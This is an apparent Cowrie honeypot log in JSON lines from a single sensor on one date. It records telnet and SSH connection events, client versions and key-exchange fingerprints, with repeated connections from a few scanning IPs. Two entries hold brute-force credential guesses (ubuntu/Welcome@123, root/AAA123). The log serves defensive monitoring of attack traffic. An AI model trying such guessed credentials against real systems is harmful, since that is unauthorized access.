{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":43376,"dst_ip":"10.17.0.5","dst_port":23,"session":"58845305ae04","protocol":"telnet","message":"New connection: 173.249.63.118:43376 (10.17.0.5:23) [session: 58845305ae04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:13.143730Z"}
{"eventid":"cowrie.session.closed","duration":31.320054531097412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:13.916892Z","src_ip":"51.161.172.108","session":"8493d23779b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":35914,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ab5b2b1994b","protocol":"ssh","message":"New connection: 122.168.114.167:35914 (159.203.135.109:22) [session: 0ab5b2b1994b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:14.053382Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":41204,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e2c9d22506b","protocol":"telnet","message":"New connection: 173.249.63.118:41204 (10.17.0.5:23) [session: 8e2c9d22506b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:14.266628Z"}
{"eventid":"cowrie.session.closed","duration":30.97732162475586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:14.502665Z","src_ip":"51.161.172.108","session":"dafb2c5f2da0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1607928276062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:14.533986Z","src_ip":"51.161.172.108","session":"974c9c752cd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":44632,"dst_ip":"10.17.0.5","dst_port":23,"session":"90e980cf9d10","protocol":"telnet","message":"New connection: 173.249.63.118:44632 (10.17.0.5:23) [session: 90e980cf9d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:14.548192Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47788,"dst_ip":"159.203.135.109","dst_port":23,"session":"a72d6785fc44","protocol":"telnet","message":"New connection: 51.161.172.108:47788 (159.203.135.109:23) [session: a72d6785fc44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:14.609589Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47804,"dst_ip":"159.203.135.109","dst_port":23,"session":"b10f5c3ea43f","protocol":"telnet","message":"New connection: 51.161.172.108:47804 (159.203.135.109:23) [session: b10f5c3ea43f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:15.341124Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":45058,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9f51c4c7c63","protocol":"telnet","message":"New connection: 173.249.63.118:45058 (10.17.0.5:23) [session: a9f51c4c7c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:16.042975Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":45998,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d688351666f","protocol":"telnet","message":"New connection: 173.249.63.118:45998 (10.17.0.5:23) [session: 0d688351666f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:16.056580Z"}
{"eventid":"cowrie.session.closed","duration":31.02586340904236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:16.249200Z","src_ip":"51.161.172.108","session":"98e3cefde1d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.601924657821655,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:16.261224Z","src_ip":"173.249.63.118","session":"f7d13be02d56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.388747692108154,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:16.350434Z","src_ip":"167.99.38.72","session":"d25132975f02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":43624,"dst_ip":"10.17.0.5","dst_port":23,"session":"37cd65105338","protocol":"telnet","message":"New connection: 173.249.63.118:43624 (10.17.0.5:23) [session: 37cd65105338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:16.544812Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47814,"dst_ip":"159.203.135.109","dst_port":23,"session":"747a000f77ba","protocol":"telnet","message":"New connection: 51.161.172.108:47814 (159.203.135.109:23) [session: 747a000f77ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:17.029064Z"}
{"eventid":"cowrie.session.closed","duration":31.694024085998535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:17.585511Z","src_ip":"51.161.172.108","session":"c48b2c203a51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47830,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9582755220e","protocol":"telnet","message":"New connection: 51.161.172.108:47830 (159.203.135.109:23) [session: c9582755220e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:17.647678Z"}
{"eventid":"cowrie.session.closed","duration":31.969465970993042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:17.971271Z","src_ip":"51.161.172.108","session":"2a64d20f1bab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":56980,"dst_ip":"10.17.0.5","dst_port":22,"session":"292bba84aa19","protocol":"ssh","message":"New connection: 160.251.101.169:56980 (10.17.0.5:22) [session: 292bba84aa19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:18.088446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:18.093349Z","src_ip":"160.251.101.169","session":"292bba84aa19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.17274761199951,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:18.182788Z","src_ip":"51.161.172.108","session":"a2cb3a01fddb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.315196990966797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:18.240507Z","src_ip":"51.161.172.108","session":"84419dea05a8","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:18.249136Z","src_ip":"160.251.101.169","session":"292bba84aa19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":47956,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6fc369a9dde","protocol":"telnet","message":"New connection: 173.249.63.118:47956 (10.17.0.5:23) [session: e6fc369a9dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:18.354409Z"}
{"eventid":"cowrie.session.closed","duration":30.78486704826355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:18.406080Z","src_ip":"51.161.172.108","session":"2a2442498e05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.795366048812866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:18.448470Z","src_ip":"173.249.63.118","session":"1fc42b28e313","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.795154571533203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:18.547853Z","src_ip":"51.161.172.108","session":"c8c3eb32ae4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":48418,"dst_ip":"10.17.0.5","dst_port":22,"session":"7af6ca964340","protocol":"ssh","message":"New connection: 221.139.88.149:48418 (10.17.0.5:22) [session: 7af6ca964340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:18.633743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:18.638602Z","src_ip":"221.139.88.149","session":"7af6ca964340","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Welcome@123","message":"login attempt [ubuntu/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:18.887486Z","src_ip":"160.251.101.169","session":"292bba84aa19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:18.896062Z","src_ip":"221.139.88.149","session":"7af6ca964340","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.872375011444092,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:19.088880Z","src_ip":"51.161.172.108","session":"03ab02f31f1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.794758558273315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:19.249751Z","src_ip":"51.161.172.108","session":"bb31cd05e2dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":47038,"dst_ip":"10.17.0.5","dst_port":23,"session":"c06a9bf9bb7f","protocol":"telnet","message":"New connection: 173.249.63.118:47038 (10.17.0.5:23) [session: c06a9bf9bb7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:19.353915Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":47988,"dst_ip":"10.17.0.5","dst_port":23,"session":"44f85fca365f","protocol":"telnet","message":"New connection: 173.249.63.118:47988 (10.17.0.5:23) [session: 44f85fca365f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:19.452318Z"}
{"eventid":"cowrie.session.closed","duration":31.58009648323059,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:19.748636Z","src_ip":"51.161.172.108","session":"70be97b5bfce","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:19.753962Z","src_ip":"122.168.114.167","session":"0ab5b2b1994b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:19.757483Z","src_ip":"122.168.114.167","session":"0ab5b2b1994b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AAA123","message":"login attempt [root/AAA123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:19.804711Z","src_ip":"221.139.88.149","session":"7af6ca964340","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.850189208984375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:19.858519Z","src_ip":"51.161.172.108","session":"b59c8dc2b3ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.02196741104126,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:20.040903Z","src_ip":"51.161.172.108","session":"ea9b91bf1a31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:20.050562Z","src_ip":"160.251.101.169","session":"292bba84aa19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33750,"dst_ip":"159.203.135.109","dst_port":23,"session":"817d885847a5","protocol":"telnet","message":"New connection: 51.161.172.108:33750 (159.203.135.109:23) [session: 817d885847a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:20.105950Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":48528,"dst_ip":"10.17.0.5","dst_port":23,"session":"a64d501bd280","protocol":"telnet","message":"New connection: 173.249.63.118:48528 (10.17.0.5:23) [session: a64d501bd280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:20.251086Z"}
{"eventid":"cowrie.session.closed","duration":31.27094554901123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:20.276316Z","src_ip":"51.161.172.108","session":"327580676f99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50860857963562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:20.354210Z","src_ip":"173.249.63.118","session":"61befeb211fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.609282970428467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:20.400021Z","src_ip":"51.161.172.108","session":"27c0d96eb43a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":49412,"dst_ip":"10.17.0.5","dst_port":23,"session":"d690fc8442cb","protocol":"telnet","message":"New connection: 173.249.63.118:49412 (10.17.0.5:23) [session: d690fc8442cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:20.649066Z"}
{"eventid":"cowrie.session.closed","duration":31.290645360946655,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:20.828648Z","src_ip":"51.161.172.108","session":"747cfad690cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:21.004659Z","src_ip":"221.139.88.149","session":"7af6ca964340","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33766,"dst_ip":"159.203.135.109","dst_port":23,"session":"4183de3e4c7f","protocol":"telnet","message":"New connection: 51.161.172.108:33766 (159.203.135.109:23) [session: 4183de3e4c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:21.021950Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33782,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bc2cc668ec0","protocol":"telnet","message":"New connection: 51.161.172.108:33782 (159.203.135.109:23) [session: 5bc2cc668ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:21.320598Z"}
{"eventid":"cowrie.session.closed","duration":31.584988355636597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:21.672560Z","src_ip":"51.161.172.108","session":"19e735e40778","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.385233879089355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:22.833907Z","src_ip":"51.161.172.108","session":"c6abe7a7abc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":50152,"dst_ip":"10.17.0.5","dst_port":23,"session":"577b0a6f6c27","protocol":"telnet","message":"New connection: 173.249.63.118:50152 (10.17.0.5:23) [session: 577b0a6f6c27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:22.846987Z"}
{"eventid":"cowrie.session.closed","duration":31.08780336380005,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:23.255224Z","src_ip":"51.161.172.108","session":"d92064db3bd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50482702255249,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:23.367007Z","src_ip":"173.249.63.118","session":"9c219110b686","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33786,"dst_ip":"159.203.135.109","dst_port":23,"session":"508ae0dd45b3","protocol":"telnet","message":"New connection: 51.161.172.108:33786 (159.203.135.109:23) [session: 508ae0dd45b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:23.484957Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33792,"dst_ip":"159.203.135.109","dst_port":23,"session":"709fa2e588bf","protocol":"telnet","message":"New connection: 51.161.172.108:33792 (159.203.135.109:23) [session: 709fa2e588bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:23.495266Z"}
{"eventid":"cowrie.session.closed","duration":31.47369956970215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:23.744321Z","src_ip":"51.161.172.108","session":"bd2d11204c5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.915244102478027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:23.757185Z","src_ip":"51.161.172.108","session":"7c2e8b90eaf4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.352911710739136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:24.007077Z","src_ip":"51.161.172.108","session":"64e32c67dfa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.360697746276855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:24.329900Z","src_ip":"51.161.172.108","session":"91b74d2ce381","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":51570,"dst_ip":"10.17.0.5","dst_port":23,"session":"3efe327606c1","protocol":"telnet","message":"New connection: 173.249.63.118:51570 (10.17.0.5:23) [session: 3efe327606c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:24.348833Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33796,"dst_ip":"159.203.135.109","dst_port":23,"session":"139cfa4fcb8f","protocol":"telnet","message":"New connection: 51.161.172.108:33796 (159.203.135.109:23) [session: 139cfa4fcb8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:24.632732Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":51192,"dst_ip":"10.17.0.5","dst_port":23,"session":"af9e4bb99b86","protocol":"telnet","message":"New connection: 173.249.63.118:51192 (10.17.0.5:23) [session: af9e4bb99b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:24.963483Z"}
{"eventid":"cowrie.session.closed","duration":31.23686408996582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:25.055277Z","src_ip":"51.161.172.108","session":"44dd530626c6","protocol":"telnet"}
